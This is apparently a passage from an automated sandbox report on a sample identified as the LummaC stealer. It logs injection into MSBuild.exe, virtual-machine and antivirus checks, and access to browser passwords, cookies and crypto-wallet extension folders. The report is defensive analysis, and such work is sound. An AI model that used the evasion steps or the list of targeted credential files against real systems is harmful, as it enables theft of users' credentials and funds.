Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: LaunchV.2.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: LaunchV.2.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: LaunchV.2.exe	Static PE information: section name: .gxfg
Source: LaunchV.2.exe	Static PE information: section name: .retplne
Source: LaunchV.2.exe	Static PE information: section name: _RDATA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_004506DC push edx; iretd

2_2_004506E7

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Window / User API: threadDelayed 7199

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7648	Thread sleep time: -120000s >= -30000s			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7896	Thread sleep count: 7199 > 30			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E11358 FindFirstFileExW,FindNextFileW,FindClose,FindClose,		0_2_00007FF646E11358
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E111D4 FindFirstFileExW,		0_2_00007FF646E111D4

Source: MSBuild.exe, 00000002.00000002.2428097507.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: MSBuild.exe, 00000002.00000002.2427902984.0000000000E9D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

API call chain: ExitProcess graph end node

graph_2-22081

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_0044B180 LdrInitializeThunk,

2_2_0044B180

Source: C:\Users\user\Desktop\LaunchV.2.exe

Code function: 0_2_00007FF646E0AB04 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF646E0AB04

Source: C:\Users\user\Desktop\LaunchV.2.exe

Code function: 0_2_00007FF646E0E2EC GetProcessHeap,

0_2_00007FF646E0E2EC

Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E08088 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF646E08088
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E0AB04 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF646E0AB04
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E08704 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF646E08704
Source: C:\Users\user\Desktop\LaunchV.2.exe	Code function: 0_2_00007FF646E086F4 SetUnhandledExceptionFilter,	0_2_00007FF646E086F4

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\LaunchV.2.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\LaunchV.2.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\LaunchV.2.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\LaunchV.2.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\LaunchV.2.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44F000	Jump to behavior
Source: C:\Users\user\Desktop\LaunchV.2.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 452000	Jump to behavior
Source: C:\Users\user\Desktop\LaunchV.2.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 460000	Jump to behavior
Source: C:\Users\user\Desktop\LaunchV.2.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: B56008	Jump to behavior

Source: C:\Users\user\Desktop\LaunchV.2.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"

Jump to behavior

Source: C:\Users\user\Desktop\LaunchV.2.exe

Code function: 0_2_00007FF646E19520 cpuid

0_2_00007FF646E19520

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\LaunchV.2.exe

Code function: 0_2_00007FF646E08570 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF646E08570

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: MSBuild.exe, 00000002.00000002.2428699081.0000000000F79000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: 2.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2427532027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Found many strings related to Crypto-Wallets (likely being stolen)

Source: MSBuild.exe, 00000002.00000002.2428194933.0000000000EEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: MSBuild.exe, 00000002.00000002.2428194933.0000000000EEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: MSBuild.exe, 00000002.00000002.2428194933.0000000000EEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: MSBuild.exe, 00000002.00000002.2428480805.0000000000F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: MSBuild.exe, 00000002.00000002.2428194933.0000000000EEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
